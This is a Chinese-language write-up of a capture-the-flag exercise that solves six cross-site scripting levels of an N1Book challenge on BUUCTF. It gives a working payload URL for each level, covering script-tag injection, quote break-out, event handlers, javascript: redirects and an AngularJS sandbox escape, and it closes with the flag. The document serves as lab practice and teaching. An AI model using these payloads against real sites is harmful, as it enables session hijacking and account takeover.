XSS的魔力
声明
好好向大佬们学习!!!
攻击
XSS的魔力
这简直就是一场javascript的代码审计心酸历程
摘自
https://book.nu1l.com/tasks/#/
https://blog.csdn.net/hxhxhxhxx/article/details/112784856
https://blog.csdn.net/rfrder/article/details/108930033
使用BUUCTF在线环境
https://buuoj.cn/challenges
都是用谷歌浏览器访问
http://75348824-4a49-4f22-a868-81f174e5d13b.node3.buuoj.cn
1关
点击按钮“点我开始”
http://75348824-4a49-4f22-a868-81f174e5d13b.node3.buuoj.cn/level1?username=xss
经观察,修改URL中username参数值,改成多少,页面就会进行回显,并且直接拼接到welcome后面,那么就可以直接构造标签了,最简单的,反手一个script标签
http://75348824-4a49-4f22-a868-81f174e5d13b.node3.buuoj.cn/level1?username=<script>alert(1)</script>
2关
依旧是回显
http://75348824-4a49-4f22-a868-81f174e5d13b.node3.buuoj.cn/level2?username=xss
输入script标签,发现被转码了,右键查看源码
发现当我们URL中username的值为111时,就会拼接到代码第五行构成
var username = '111';
也就是说代码第五行是动态改变的,为
var username = '我们输入的东东';
<script type="text/javascript">
if(location.search == ""){
location.search = "?username=xss"
}
var username = '111';
document.getElementById('ccc').innerHTML= "Welcome " + escape(username);
</script>
这个就和SQL注入的思想太像了,可以参考SQL注入的堆叠注入,闭合前面的单引号,注释后面的单引号,然后再把我们的js代码插入进去,不就自动就在这个script标签中执行了
如果我们输入
';alert(1);'
拼接前
var username = '我们输入的东东';
拼接后
var username = '';alert(1);'';
等价于
var username = '';
alert(1);
'';
自然就会执行alert(1)了
3关
http://75348824-4a49-4f22-a868-81f174e5d13b.node3.buuoj.cn/level3?username=xss
输入第二关的答案,发现’被转义成\'了
输入script标签发现神奇的事,自动给我加上了闭合的标签,但是却不能执行标签里面的代码
这时候想到了书中的一句话,几乎任何一个标签都可以执行on事件,改用别的标签+on事件试试
先输入一个a标签试试水,发现确实可以用
使用a标签+鼠标滑过事件
<a onm ouseover="alert(1)">111
当鼠标滑过增加的这个a标签时,触发alert
4关
每过十秒就会重定向刷一次页面
http://75348824-4a49-4f22-a868-81f174e5d13b.node3.buuoj.cn/level4
这个连参数什么的都没给,只能右键查看源码了
主要看script标签中的,我个人对js代码也不是完全熟悉,就是靠大概意思理解
<script type="text/javascript">
//不用说了time为10肯定就是10秒了
var time = 10;
var jumpUrl;
//jumpUrl这个参数是个啥,不太清楚,百度搜了半天也没搜到,看来不是系统的参数,就是自定义的
//也就是说下面的意思是说,获取参数jumpUrl
//getQueryVariable结果为false,就赋为location.href;为true,getQueryVariable并把jumpUrl传过去,并赋值为函数的返回值
if(getQueryVariable('jumpUrl') == false){
jumpUrl = location.href;
}else{
jumpUrl = getQueryVariable('jumpUrl');
}
//下面就是一些赋值和十秒倒计时
setTimeout(jump,1000,time);
function jump(time){
if(time == 0){
location.href = jumpUrl;
}else{
time = time - 1 ;
document.getElementById('ccc').innerHTML= `页面${time}秒后将会重定向到${escape(jumpUrl)}`;
setTimeout(jump,1000,time);
}
}
//关键在这里
function getQueryVariable(variable)
{
//拿到URL中,从?开始的参数部分然后以&进行分割,分成数组
//这里for循环嵌套if不太好说明,做一个变量跟踪吧
//首先,我们需要想到的是,既然有&,并且上面提到了jumpUrl变量,那我们就得构造一个&jumpUrl变量
//这个函数returnjumpUrl的值给到上面倒计时中的innerHTML、
//下面细说
var query = window.location.search.substring(1);
var vars = query.split("&");
for (var i=0;i<vars.length;i++) {
var pair = vars[i].split("=");
if(pair[0] == variable){return pair[1];}
}
return(false);
}
</script>
//这里细说,这个循环虽然很简单,但是逻辑不是只言片语就能说清楚的,所以我们采取变量跟踪的方式
//假设构造jumpUrl=<script>alert(1)</script>,那么variable=jumpUrl=<script>alert(1)</script>
//query为:username=xss&jumpUrl=<script>alert(1)</script>
//vars为 vars[0]: username=xss, vars[1]: jumpUrl=<script>alert(1)</script>}
//开始进入for循环,i=0,vars.length为2,i<vars.length成立
//pair = [username,xss],pair[0] = username,pair[1] = xss,variable=jumpUrl
//pair[0] == variable不成立,不return,i++为1,i = 1 < vars.length = 2成立,继续循环
//pair = pair[0] = jumpUrl,pair[1] = <script>alert(1)</script>fanh,variable=jumpUrl
//pair[0] == variable成立,执行return,将<script>alert(1)</script>返回,这个函数的结果为<script>alert(1)</script>
//到上面后innerHTML就拼上了这么一段
//所以要强让这个函数不返回false,就必须在for循环中return,这就要求我们传过来的url中,必须带着jumpUrl参数
function getQueryVariable(variable=jumpUrl=){
var query = window.location.search.substring(1);
var vars = query.split("&");
for (var i=0;i<vars.length;i++) {
var pair = vars[i].split("=");
if(pair[0] == variable){return pair[1];}
}
return(false);
}
输入
http://75348824-4a49-4f22-a868-81f174e5d13b.node3.buuoj.cn/level4?username=xss&jumpUrl=<script>alert(1)</script>
等待十秒后执行失败,因为代码中还有一段escape函数会进行特殊字符的转码,所以这里使用伪协议
http://75348824-4a49-4f22-a868-81f174e5d13b.node3.buuoj.cn/level4?username=xss&jumpUrl=javascript:alert(1)
等待十秒后,跳转,触发伪协议中的代码
5关
也是没有给什么参数,但是有个输入框,输入框输什么都没回显+失败
http://75348824-4a49-4f22-a868-81f174e5d13b.node3.buuoj.cn/level5
看源码吧
<script type="text/javascript">
//类比第四关中,getQueryVariable为false,就啥都不干,我们需要执行js代码,这显然不是我们要的
//如果想要为true,那就带上这个autosubmit参数
//但是貌似跟这个参数autosubmit参数值得关系不大,只是需要有这样一个参数,因为下面,都是在对另一个参数action操作
if(getQueryVariable('autosubmit') !== false){
var autoForm = document.getElementById('autoForm');
//这里又一次出现了getQueryVariable函数,其实就是得存在action
autoForm.action = (getQueryVariable('action') == false) ? location.href : getQueryVariable('action');
autoForm.submit();
}else{
}
function getQueryVariable(variable)
{
var query = window.location.search.substring(1);
var vars = query.split("&");
for (var i=0;i<vars.length;i++) {
var pair = vars[i].split("=");
if(pair[0] == variable){return pair[1];}
}
return(false);
}
</script>
类比4关,这里相当于绕了个弯
输入
http://75348824-4a49-4f22-a868-81f174e5d13b.node3.buuoj.cn/level5?autosubmit=1&action=javascript:alert(1)
6关
这个就是比较难了,参考以下文章
https://nosec.org/home/detail/4153.html
https://xz.aliyun.com/t/4638
访问
http://75348824-4a49-4f22-a868-81f174e5d13b.node3.buuoj.cn/level6?username=xss
返现和第一关的形式一样了,毕竟最后一关了,肯定是第一关的超级难绕过版,username中输入各种标签,都不行,这里是真的被当成字符串了,颜色都变了
打开Wappalyzer,来一波信息搜集,发现 AngularJS 1.4.6
查看该文章,发现Angular表达式,莫名有点像struts2的OGNL表达式,只不过是前端前端版的RCE
https://nosec.org/home/detail/4153.html
输入
http://75348824-4a49-4f22-a868-81f174e5d13b.node3.buuoj.cn/level6?username={{2*3}}
查看该文章,发现Angular表达式终极利用代码
https://xz.aliyun.com/t/4638
输入
http://75348824-4a49-4f22-a868-81f174e5d13b.node3.buuoj.cn/level6?username={{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}
拿到flag
n1book{xss_is_so_interesting}